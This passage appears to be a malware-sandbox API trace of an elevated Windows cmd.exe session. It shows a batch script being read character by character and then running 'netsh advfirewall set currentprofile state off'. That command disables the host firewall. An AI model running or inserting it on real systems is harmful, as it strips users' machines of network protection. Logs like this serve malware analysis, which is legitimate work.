dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.339] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e358, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0066.340] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.340] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.340] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e35a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0066.340] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.340] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.340] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e35c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0066.341] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.341] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.341] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e35e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0066.341] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.341] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.341] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e360, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0066.341] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.341] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.342] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e362, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0066.342] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.342] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.342] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e364, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0066.342] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.342] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.342] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e366, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.343] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.343] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.343] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e368, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0066.343] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.343] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.343] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e36a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0066.344] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.344] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.344] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e36c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0066.344] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.344] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.344] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.344] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e36e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0066.345] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.345] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.345] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e370, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0066.345] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.345] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.345] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.345] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e372, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0066.345] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.346] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.346] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e374, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0066.346] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.346] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.346] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.346] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e376, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0066.346] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.346] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.347] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e378, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0066.347] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.347] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.347] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.347] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e37a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0066.347] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.347] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.348] ReadFile (in: hFile=0x104, lpBuffer=0x4a28c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ef818, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesRead=0x1ef818*=0x1, lpOverlapped=0x0) returned 1 [0066.348] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a28c320, cbMultiByte=1, lpWideCharStr=0x4a28e37c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0066.351] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.351] GetFileType (hFile=0x104) returned 0x3 [0066.351] _get_osfhandle (_FileHandle=0) returned 0x104 [0066.351] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.351] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.352] GetFileType (hFile=0x110) returned 0x3 [0066.352] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0066.352] WriteFile (in: hFile=0x110, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x1ef7f8, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x1ef7f8*=0x2f, lpOverlapped=0x0) returned 1 [0066.352] GetProcessHeap () returned 0x2f0000 [0066.352] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4012) returned 0x30cd20 [0066.352] GetProcessHeap () returned 0x2f0000 [0066.352] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd20 | out: hHeap=0x2f0000) returned 1 [0066.354] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0066.354] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0066.354] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0066.354] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0066.354] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0066.354] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0066.354] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0066.354] GetProcessHeap () returned 0x2f0000 [0066.354] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xb0) returned 0x3097e0 [0066.354] GetProcessHeap () returned 0x2f0000 [0066.354] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1c) returned 0x304610 [0066.357] GetProcessHeap () returned 0x2f0000 [0066.357] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x64) returned 0x3098a0 [0066.361] GetConsoleOutputCP () returned 0x1b5 [0066.362] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a28bfe0 | out: lpCPInfo=0x4a28bfe0) returned 1 [0066.362] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.363] GetConsoleTitleW (in: lpConsoleTitle=0x1ef7b0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.365] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0066.365] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0066.365] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0066.365] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0066.365] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0066.365] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0066.365] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0066.365] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0066.365] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0066.365] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0066.365] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0066.366] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0066.366] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0066.366] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0066.366] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0066.366] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0066.366] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0066.366] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0066.366] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0066.366] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0066.366] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0066.366] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0066.367] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0066.367] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0066.367] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0066.367] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0066.367] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0066.367] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0066.367] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0066.367] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0066.367] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0066.367] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0066.367] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0066.367] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0066.367] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0066.367] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0066.368] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0066.368] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0066.368] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0066.368] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0066.368] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0066.368] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0066.368] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0066.368] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0066.368] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0066.368] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0066.368] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0066.368] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0066.368] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0066.368] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0066.368] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0066.369] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0066.369] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0066.369] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0066.369] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0066.369] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0066.369] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0066.369] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0066.369] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0066.369] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0066.369] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0066.369] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0066.369] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0066.369] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0066.369] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0066.370] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0066.370] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0066.370] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0066.370] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0066.370] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0066.370] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0066.370] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0066.370] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0066.370] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0066.370] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0066.370] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0066.370] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0066.370] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0066.370] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0066.370] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0066.371] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0066.371] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0066.371] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0066.371] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0066.371] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0066.371] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0066.371] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0066.372] GetProcessHeap () returned 0x2f0000 [0066.372] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x2f1ab0 [0066.372] GetProcessHeap () returned 0x2f0000 [0066.372] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x70) returned 0x2f1cd0 [0066.372] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0066.373] GetProcessHeap () returned 0x2f0000 [0066.373] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x420) returned 0x309a80 [0066.373] SetErrorMode (uMode=0x0) returned 0x0 [0066.373] SetErrorMode (uMode=0x1) returned 0x0 [0066.373] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x309a90, lpFilePart=0x1ef040 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ef040*="Desktop") returned 0x25 [0066.373] SetErrorMode (uMode=0x0) returned 0x1 [0066.373] GetProcessHeap () returned 0x2f0000 [0066.373] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309a80, Size=0x68) returned 0x309a80 [0066.374] GetProcessHeap () returned 0x2f0000 [0066.374] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309a80) returned 0x68 [0066.374] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.374] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.374] GetProcessHeap () returned 0x2f0000 [0066.374] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x128) returned 0x305b70 [0066.374] GetProcessHeap () returned 0x2f0000 [0066.374] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x240) returned 0x309b00 [0066.641] GetProcessHeap () returned 0x2f0000 [0066.641] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309b00, Size=0x12a) returned 0x309b00 [0066.641] GetProcessHeap () returned 0x2f0000 [0066.641] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309b00) returned 0x12a [0066.641] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.641] GetProcessHeap () returned 0x2f0000 [0066.641] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xe8) returned 0x309c40 [0066.641] GetProcessHeap () returned 0x2f0000 [0066.641] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309c40, Size=0x7e) returned 0x309c40 [0066.641] GetProcessHeap () returned 0x2f0000 [0066.641] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309c40) returned 0x7e [0066.643] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.644] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x1eedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eedb0) returned 0xffffffffffffffff [0066.644] GetLastError () returned 0x2 [0066.644] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\netsh", fInfoLevelId=0x1, lpFindFileData=0x1eedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eedb0) returned 0xffffffffffffffff [0066.644] GetLastError () returned 0x2 [0066.645] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.645] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x1eedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eedb0) returned 0x2f1d50 [0066.645] GetProcessHeap () returned 0x2f0000 [0066.645] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x28) returned 0x304640 [0066.645] FindClose (in: hFindFile=0x2f1d50 | out: hFindFile=0x2f1d50) returned 1 [0066.646] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x1eedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eedb0) returned 0xffffffffffffffff [0066.646] GetLastError () returned 0x2 [0066.646] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x1eedb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eedb0) returned 0x2f1d50 [0066.646] GetProcessHeap () returned 0x2f0000 [0066.646] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x304640, Size=0x8) returned 0x308900 [0066.646] FindClose (in: hFindFile=0x2f1d50 | out: hFindFile=0x2f1d50) returned 1 [0066.647] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.647] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.647] GetConsoleTitleW (in: lpConsoleTitle=0x1ef300, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.648] GetProcessHeap () returned 0x2f0000 [0066.648] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x21c) returned 0x309cd0 [0066.648] GetConsoleTitleW (in: lpConsoleTitle=0x309ce0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.648] GetProcessHeap () returned 0x2f0000 [0066.648] RtlReAllocateHeap (Heap=0x2f0000, Flags=0x0, Ptr=0x309cd0, 